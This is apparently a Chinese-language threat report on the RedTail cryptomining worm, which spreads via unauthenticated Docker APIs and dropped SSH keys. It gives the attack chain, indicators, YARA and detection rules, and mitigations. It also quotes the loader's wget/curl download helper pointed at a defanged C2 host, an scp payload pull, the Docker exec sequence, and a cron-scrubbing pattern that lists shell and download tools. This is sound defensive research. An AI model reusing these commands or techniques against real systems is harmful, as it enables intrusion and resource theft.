本页为译文。英文版本为权威文本。 阅读英文版

malware · cryptomining · redtail · docker · linux · honeypot · worm

RedTail 行动剖析:通过暴露的 Docker API 自我传播

Kinryū Labs 蜜罐捕获到 RedTail 挖矿木马通过未经认证的 Docker Engine API 和投放的 SSH 密钥传播。本文记录了一个当前且完整捕获的实例,包含加载器、竞品清除脚本、挖矿程序以及实时指标。

作者 Davis Zheng·

TLP:CLEAR。已批准公开发布。由 Kinryū Labs 蜜罐传感器网络捕获。下文指标均已做去毒处理。

执行摘要

  • 2375暴露的 Docker API,入口所在
  • 4种目标 CPU 架构
  • ~21秒攻击者完成整个入侵
  • 可蠕虫化挖矿程序内置 SSH 客户端

2026 年 6 月上中旬,我们的蜜罐网络捕获到一个蠕虫,它通过互联网上暴露在 TCP/2375 的 Docker Engine API 传播,并投放 RedTail,一个自 2023 年末就已存在的基于 XMRig 的门罗币挖矿程序。攻击者通过开放的 Docker API 列出正在运行的容器,在每个容器内执行命令,投放一个用于持久化和横向移动的 SSH 私钥,随后拉取一个多架构加载器。该加载器安装的挖矿程序自带用于传播的 SSH 客户端,以及一个用于寻找新目标的 libpcap 嗅探器。

载荷毫无疑问是 RedTail。RedTail 最为人所知的投递方式是 Web 应用漏洞利用(PAN-OS、Ivanti、Log4Shell、PHP-CGI、TP-Link),其利用暴露的 Docker API 也已有过往报道。本文补充的是该 Docker API 投递方式的一个当前且完整捕获的实例:采集时仍在线的 C2 与指标、让主机得以自我复制的 SSH 密钥投放,以及此前报道提及却未能取得样本的竞品清除脚本。

挖矿程序携带加密的运行时配置,且未内嵌钱包地址,因此我们无法从样本中提取门罗币地址。要还原它需要在带网络捕获的环境中实际引爆。

关键发现
  • 载荷为 RedTail(高置信度)。libredtail evbuffer_tls 字符串、.redtail 残留物、加载器中的 redtail 兜底名称,以及加密配置 / 无钱包的构建方式,都与该家族 2024 年之后的版本吻合。
  • 该行动具备蠕虫能力(高置信度)。Docker API 工具链、投放的密钥,以及挖矿程序内置的 SSH 客户端,构成了一台新感染主机自行寻找下一个受害者所需的全部条件。
  • 运营者的目的是牟利(中等置信度)。凭据窃取和嗅探看起来是为传播服务,而非另有数据窃取目标。
  • Docker API 途径在 RedTail 上已有过往报道,且至今依然好用。TCP/2375 上一个暴露的套接字,就能让攻击者在该主机的每个容器内以 root 身份执行代码。

攻击链

[0] Reconnaissance     Internet scan for exposed Docker API :2375
        │
[1] Initial Access     Unauthenticated Docker API → enumerate containers
        │              (T1190 Exploit Public-Facing Application)
        │
[2] Execution          docker exec into every running container
        │              (T1609 Container Administration Command)
        │
[3] Persistence /      Drop ed25519 key "dlr@sftp" into container ~/.ssh
    Lateral prep       (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
        │
[4] Ingress (Stage 2)  Pull loader:  scp dlr@217.60.195[.]113:sh   (primary)
        │                            hxxps://14.46.136[.]77/sh      (fallback)
        │              (T1105 Ingress Tool Transfer)
        │
[5] Defense Evasion    Loader: find noexec mounts → avoid them; hidden ".<random>"
        │              filename; run/discard "clean" competitor-removal
        │
[6] Ingress (Stage 3)  Loader pulls arch ELF (x86_64/i686/aarch64/arm7) from C2
        │
[7] Execution          memfd_create → fileless launch of RedTail miner
        │              (T1620 Reflective Code Loading)
        │
[8] Impact             XMRig Monero mining (T1496 Resource Hijacking)
   + Credential Access libpcap sniffing + ssh-agent/key theft (T1040 / T1552.004)
   + Lateral Movement  Embedded SSH client spreads to discovered hosts (T1021.004)

阶段 1:通过 Docker API 获得初始访问

攻击者的目标是在 TCP/2375 上暴露未经认证 REST API 的 Docker Engine 实例。攻击者的整套操作序列约耗时 21 秒:

  1. GET /version 和 GET /containers/json,用于识别引擎指纹并列出容器。
  2. 对每个运行中的容器执行 POST /containers/{id}/exec,随后 POST /exec/{id}/start。
  3. 一段容器内的 shell 载荷,写入攻击者的 SSH 密钥并获取加载器。

最后这一步正是它从一次性挖矿程序变成蠕虫的原因。一台被感染、且恰好暴露了自身 Docker API 的主机,会对下一批受害者执行同样的列举加执行流程。

投放的 SSH 密钥(持久化与横向移动)

属性值
类型OpenSSH ed25519 私钥
注释dlr@sftp
公钥 SHA256 指纹SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg
拉取来源(SCP 通道)dlr@217.60.195[.]113

我们不公开该私钥。请使用上面的指纹进行排查:检查全网资产中的 authorized_keys 和 ~/.ssh。

阶段 2:/sh 加载器

SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf MD5: 0df4fe0f1e3e8b0941f0d1442f132700 类型: POSIX shell 脚本

一个小巧、可移植的加载器,而且写得很谨慎。

随机隐藏文件名。 get_random_string() 拼出一个 4 到 35 个字符的字母数字名称,依次尝试 /dev/urandom、openssl、$RANDOM,若全部失败则退回到字面字符串 redtail。这个兜底值是个便利的家族特征。挖矿程序落地为 .<random>,前置点号使其不出现在普通的 ls 输出中。VirusTotal 上该样本就以其中一个这样的名称收录:.mn6VTucEsFZY1PdSC2QAq。

下载辅助函数。 dlr() 关闭 TLS 校验,因为 C2 使用自签名证书,并在 wget 不可用时回退到 curl:

dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
        || curl -skO hxxps://14.46.136[.]77/$1 ; }

感知 noexec 的暂存。 加载器读取 /proc/mounts,剔除所有 noexec 挂载点,并运行 find / -user $(whoami) -perm -u=rwx 来寻找既可写又可执行的位置。使用前它会用 2 MB 的 dd 或 truncate 对每个候选目录做写入测试,这比多数加载器费心得多:通常的做法是直接写到 /tmp 然后听天由命。

清除竞品。 它拉取并运行 clean(dlr clean; chmod +x clean; sh clean; rm -rf clean),然后将其删除。我们也拿到了这个脚本,下文会做拆解。它针对的是竞品的持久化和暂存目录,不去动正在运行的进程。

收尾清理。 在安装新文件之前,它会删除 .redtail 和上一个 .<random> 文件。

架构选择。 一个 uname -mp 分支决定下载哪个构建:

ARCH 匹配下载
x86_64 / amd64x86_64
i[3456]86i686
armv8 / aarch64aarch64
armv7arm7
未知四个全部暴力尝试,逐个运行

运行。 ./.<random> $1,把加载器原本的 $1 传下去,RedTail 将其视作行动或投递途径的标签。

clean 竞品清除脚本

SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e MD5: 397ff5e54194072e6d8a44a0d8cc1b27 类型: Bash 脚本(795 字节)

我们在后续一次蜜罐命中中捕获到 clean。它的全部职责就是把机器上其他恶意软件清掉,好让 RedTail 独占这台主机:

  • 清理 cron。 对每一个用户 crontab(/var/spool/cron/crontabs/*)、系统 crontab(/etc/crontab、/etc/crontabs)、drop-in 目录(/etc/cron.{hourly,daily,weekly,monthly,d})以及 /etc/anacrontab,它先用 chattr -ia 去掉不可变位(竞品恶意软件会设置该位来保护自己的 cron 条目),然后删除任何匹配再感染特征的行:

    wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -d

    这样既拔掉了其他团伙的下载器和反弹 shell,又不碰合法的 cron 条目。

  • 点名清除某个竞品。 它禁用并停止 c3pool_miner systemd 服务,直接针对 c3pool 挖矿程序。

  • 清空暂存区。 它用 rm -rf 清空 /tmp、/var/tmp 和 /dev/shm,清掉竞品载荷以及它们共用的暂存空间。

放过运行中的进程是一种取舍。大规模杀进程能立刻释放 CPU,但正是受监控主机会告警的那类事件;而清掉 cron 条目、清空暂存目录,删掉的是竞品的再感染载体,这样驱逐效果能在重启之后依然成立;否则重启就会让驱逐前功尽弃。

阶段 3:RedTail 挖矿程序(x86_64)

SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 MD5: aaa5098c9caafccf15362b017825c64b 大小: 1,880,264 字节(1.79 MB) 格式: ELF 64-bit LSB EXEC(静态链接,非 PIE),x86-64,入口点 0xaa9e18 加壳: UPX 5.02($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team) VirusTotal: 36/62 判定为恶意,社区评分 −60,首次出现约 2026-06-05 威胁标签: trojan.usblem26/abminer;家族 usblem26 / abminer / gen3

加壳与反分析

  • UPX 5.02,头部完整。upx -d 可干净脱壳,得到约 5 MB 的静态链接 ELF。
  • 无文件执行。VirusTotal 的代码洞察显示它使用 memfd_create(系统调用 0x13f)直接从匿名内存文件描述符运行载荷,配合 /proc/self/exe 重执行和 /dev/shm 暂存。全程不落盘,基于磁盘的杀毒软件根本没有机会看到它。
  • 进程名伪装(sets-process-name),使其混入正常进程之中。
  • 调试器规避(detect-debug-environment)。公开的 RedTail 分析描述了 ptrace 自调试以及该二进制主动杀掉 GDB 的行为。
  • 关于主机侧杀毒软件的一点说明。Microsoft Defender 将加壳后的 ELF 标记为 Trojan:Linux/Multiverze!rfn 并阻止其从磁盘被读取,因此静态分类只能在隔离主机上或在内存中进行。

已确认的组件(来自脱壳后的 .rodata 字符串)

XMRig 挖矿核心

randomx/0   cryptonight-monerov7   cryptonight-monerov8
XMRIG_VERSION  donate-level  donate-over-proxy  pool address
stratum+tcp://   stratum+ssl://
/var/build/xmrig/scripts/build/   (hwloc-2.12.2, abseil-cpp)

libredtail,定义该家族特征的网络栈

libredtail evbuffer_tls
Connection  keepalive  User-Agent

一个定制的 libevent 加 TLS HTTP 客户端。libredtail evbuffer_tls 字符串正是把 RedTail 与原版 XMRig 构建区分开来的东西。

内置 SSH 客户端(横向移动与凭据窃取)

ssh-userauth   ssh-ed25519   sk-ssh-ed25519@openssh.com
ssh-rsa-cert-v01@openssh.com   ssh-ed25519-cert-v01@openssh.com
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"

挖矿程序自带一个完整的 SSH 客户端。这正是 dlr@sftp 密钥投放和传播背后的引擎。凭据窃取和 SSH 传播都由挖矿程序本体处理,这些功能没有一项位于投放器中。

内置 libpcap(网络嗅探)

"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"

主机侧抓包,与本地发现主机和凭据的用途相符。

编码表。 标准和 URL 安全两套 Base64 字母表都出现了(...+/ 和 ...-_),供配置解码例程使用。

配置与归因缺口

我们在脱壳后的二进制中重点搜索了 IP、URL、stratum、pool 以及门罗币地址特征。里面仅有的矿池是 XMRig 内置的开发者捐赠矿池(donate.ssl.xmrig.com、donate.v2.xmrig.com),每个 XMRig 构建都带着它们,运营者并不控制这些矿池。明文中没有攻击者的矿池、代理或钱包地址。

这是刻意为之,也与 RedTail 自 2024 年以来的演进方向吻合。挖矿配置是加密的,只在运行时于内存中解密,而近期构建完全不带钱包地址,指向的是一个私有矿池或矿池代理。因此:

  • 我们无法从这个样本中得到门罗币钱包地址。
  • 矿池代理只能通过在带网络收集端的环境中实际引爆得到(见方法论部分)。

归因

这是 RedTail,也被称为 .redtail 挖矿程序,一个源自 XMRig 的门罗币挖矿程序,最早在 2023 年末至 2024 年初前后被公开分析。吻合之处包括:

  • libredtail evbuffer_tls 字符串,为其独有。
  • .redtail 残留物以及加载器中的 redtail 兜底名称。
  • 加密配置 / 无钱包的构建方式、多架构加载器、clean 竞品清除脚本,以及 SSH 凭据窃取,这些都是已知的 RedTail 特征。

作为对照,该家族已被记录在案的投递途径包括 CVE-2024-3400(PAN-OS)、CVE-2023-46805 与 CVE-2024-21887(Ivanti)、CVE-2021-44228(Log4Shell)、CVE-2024-4577(PHP-CGI)以及 CVE-2023-1389(TP-Link)。VirusTotal 还为该样本打上了 CVE-2021-41773(Apache 2.4.49/2.4.50 路径穿越导致 RCE)和 CVE-2015-2808(RC4,“Bar Mitzvah”)的标签。

RedTail 利用暴露的 Docker API 已有过往报道,所以途径本身并不新。此前报道中较为单薄的是攻击链的中段,而这次捕获正落在那里:clean 脚本是取得实物而非推断得出,C2 与载荷哈希在采集时仍然在线,以及那把投放的 dlr@sftp 密钥,它把环路闭合回阶段 1。

展望

挖矿劫持团伙更换入侵方式的频率远高于更换载荷,而 RedTail 的模块化加载器让替换入口方式变得很容易。开放的 Docker API 是一笔划算的替换。没有漏洞利用需要维护,不用跟补丁周期赛跑,它给出的访问权限是主机上每个容器内的 root,而互联网上暴露的 2375 端口供应量还没有枯竭。RedTail 以前就来过这里。

我们认为运营者很可能会在保留 Web 漏洞利用的同时继续使用 Docker API 途径,而不是用一个替换另一个,这样只会给他们带来更多可触达的主机。如果你在运行容器,请把暴露的 Docker API 当作它就摆在公共互联网上来对待,因为实际上就是如此。

失陷指标

网络

指标说明
14.46.136[.]77C2 / 载荷主机(HTTPS,自签名)。提供 /sh、/clean、/x86_64、/i686、/aarch64、/arm7。按 ASN 过滤云出口。
hxxps://14.46.136[.]77/sh阶段 2 加载器 URL
hxxps://14.46.136[.]77/clean竞品清除脚本(cron / 暂存区清理)
217.60.195[.]113SCP 密钥 / 载荷来源(dlr@217.60.195[.]113)

文件(SHA256 / MD5)

文件SHA256MD5
sh(加载器)03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf0df4fe0f1e3e8b0941f0d1442f132700
clean(竞品清除)d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e397ff5e54194072e6d8a44a0d8cc1b27
x86_64(挖矿程序)59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5aaa5098c9caafccf15362b017825c64b

主机残留物

指标说明
.redtail挖矿程序残留物 / 既往感染标记
.<random alnum> 例如 .mn6VTucEsFZY1PdSC2QAq隐藏的挖矿程序文件名(前置点号 + 随机字符)
SSH 密钥注释 dlr@sftp投放的密钥
公钥指纹 SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg投放密钥的指纹;在 authorized_keys 中排查
暂存于 /dev/shm、/var/tmp、/tmp 或任意用户可写 rwx 目录中的文件暂存位置

行为

  • memfd_create(系统调用 0x13f)从匿名文件描述符执行 ELF。
  • 某进程先读取 /proc/mounts,随后运行 find / -perm -u=rwx(感知 noexec 的暂存)。
  • 进程名伪装;基于 ptrace 的调试器规避。
  • 向非标准主机发出的 stratum+tcp:// / stratum+ssl:// 出站连接。
  • systemctl disable c3pool_miner 和 systemctl stop c3pool_miner(驱逐竞品)。
  • 针对 crontab 路径执行 chattr -ia,紧接着从 cron 中批量删除 wget / curl / 反弹 shell 相关行。
  • 对 /tmp/*、/var/tmp/* 和 /dev/shm/* 执行 rm -rf(清除竞品暂存区)。

检测

主机检测(进程 / EDR 逻辑)

对依次出现以下行为的进程告警:

  1. 读取 /proc/mounts,随后运行 find / ... -perm -u=rwx ...,并且
  2. 向全局可写目录写入一个以点号开头、名称随机的文件,并且
  3. 调用 memfd_create 并随后从得到的文件描述符执行。

其中任意一项单独出现都很弱。三项同时出现则是该加载器的强信号。

候选 YARA 规则(脱壳后的二进制)

rule RedTail_Miner_libredtail
{
    meta:
        description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
        reference   = "Kinryu Labs CTI 2026-06-12"
        hash        = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
    strings:
        $rt  = "libredtail evbuffer_tls" ascii
        $xm1 = "randomx/0" ascii
        $xm2 = "stratum+ssl://" ascii
        $ssh = "ssh-ed25519-cert-v01@openssh.com" ascii
    condition:
        uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}

此规则匹配的是 UPX 脱壳后的二进制。对于加壳样本,请从 UPX 特征、文件大小(约 1.79 MB)以及上文的 VirusTotal 哈希入手。

网络检测

  • 阻断并告警发往 14.46.136[.]77 和 217.60.195[.]113 的出站流量。
  • 对发往任何非白名单目的地的 stratum+tcp / stratum+ssl 告警。
  • 对单字母或以架构命名的路径(/sh、/x86_64、/aarch64、/arm7)的 HTTP(S) GET 请求告警。

缓解措施

  1. 不要把 Docker API(2375/2376)暴露给不受信任的网络。将其绑定到 localhost 或受保护的套接字,并要求 TLS 客户端证书认证。仅此一项控制就能直接切断初始访问环节。
  2. 在全网资产中审计 ~/.ssh/authorized_keys,查找 dlr@sftp 密钥及其指纹。
  3. 对上文的 stratum 流量和 C2 IP 做出口过滤和监控。
  4. 在可行之处以 noexec 挂载 /tmp、/var/tmp 和 /dev/shm。这会提高门槛,尽管该加载器能感知 noexec 并会去寻找另一个可写且可执行的目录。
  5. 加固容器:丢弃不需要的 capability,使用只读根文件系统,并以最小权限运行,使得 exec 进入容器不会直接给攻击者一个可用的执行环境。

MITRE ATT&CK 映射

战术技术
初始访问T1190 Exploit Public-Facing Application(Docker API)
执行T1609 Container Administration Command;T1059.004 Unix Shell
持久化T1098.004 SSH Authorized Keys
防御规避T1027.002 Software Packing(UPX);T1620 Reflective / Memory Code Loading(memfd_create);T1564.001 Hidden Files;T1036.004 Masquerade Task or Process Name;T1622 Debugger Evasion;T1070.004 File Deletion
凭据访问T1552.004 Private Keys;T1040 Network Sniffing
发现T1046 Network Service Scanning;T1082 System Information Discovery;T1057 Process Discovery;T1018 Remote System Discovery
横向移动T1021.004 Remote Services: SSH;T1570 Lateral Tool Transfer
命令与控制T1071.001 Web Protocols;T1573 Encrypted Channel;T1105 Ingress Tool Transfer
影响T1496 Resource Hijacking(挖矿)

方法论与分析员说明

  • 阶段 2 和阶段 3 是我们通过 HTTPS 从在线 C2 上拉取的。14.46.136[.]77 对主流云服务商地址段超时,却对住宅网段正常提供服务,这是一种 ASN 或地理出口过滤,会让自动化云沙箱失效。
  • 加壳的 ELF 会触发 Microsoft Defender(Trojan:Linux/Multiverze!rfn),在受保护的 Windows 主机上甚至无法从磁盘读取,因此首轮分类是在内存中完成的:在 Python 进程内解压压缩包,始终没有把原始 ELF 写出到磁盘。
  • 脱壳在隔离的 FLARE-VM 中用 upx -d 完成。我们对脱壳后的二进制做了静态分析,依靠字符串和结构,并未运行它。
  • 我们没有运行该挖矿程序,因此运行时解密的矿池代理和门罗币配置不在本报告中。
  • 我们从捕获数据中还原出了攻击者的私钥,但不予公开。指标中只包含公钥指纹(见上文),这正是防守方在 authorized_keys 中排查那把投放的 dlr@sftp 密钥所需要的。

建议的后续工作(用于获取矿池代理指标)

要拿到矿池代理,可在一台隔离的 Linux 主机(REMnux 即可)上引爆脱壳后的二进制,并配合:

  • 一个网络收集端(INetSim,或 fakedns 加一个 TCP 全捕获),用来引出连接,
  • tcpdump -i any -w redtail.pcap 以捕获 stratum 的 CONNECT 和登录过程,以及
  • strace -f,用来抓取挖矿程序在首次 connect() 之前刚解密出的明文配置,即便 TLS 在链路上做了隐藏,这份配置通常仍然可读。

那个主机和端口,是本次行动中最后一个尚未拿到的指标。

样本

样本(加载器、clean 脚本和加壳的挖矿程序)可应请求提供给其他研究人员和防守方。请发邮件至 contact@kinryu.sh,并简要说明你的身份以及用途。

Sample
RedTail · 59c29436755b0778…
How to cite
Kinryū Labs (2026). RedTail 行动剖析:通过暴露的 Docker API 自我传播. https://kinryu.sh/zh/reports/redtail-cryptominer-exposed-docker-api/